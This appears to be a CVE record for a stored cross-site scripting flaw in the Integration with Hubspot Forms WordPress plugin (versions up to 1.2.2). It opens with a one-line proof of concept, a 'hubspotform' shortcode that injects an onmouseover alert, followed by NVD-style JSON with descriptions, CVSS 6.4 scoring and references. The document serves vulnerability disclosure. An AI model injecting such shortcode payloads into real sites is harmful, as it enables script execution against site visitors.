CVE-2026-1908

<!-- PoC for CVE-2026-1908: Stored XSS via shortcode --> <!-- Attacker injects this payload into a post/page --> [hubspotform form_id="1" onmouseover="alert('XSS_CVE-2026-1908')"] <!-- The malicious script executes when a user hovers over the rendered form element -->

{"cve": {"id": "CVE-2026-1908", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:56.253", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Integration with Hubspot Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'hubspotform' shortcode in all versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Integration with Hubspot Forms para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'hubspotform' en todas las versiones hasta la 1.2.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/integration-with-hubspot-forms/tags/1.2.2/includes/EmbedHubspotForms.php#L183", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/integration-with-hubspot-forms/trunk/includes/EmbedHubspotForms.php#L183", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aac2b2a3-5d4f-449f-876c-d1bec295e088?source=cve", "source": "[email protected]"}]}}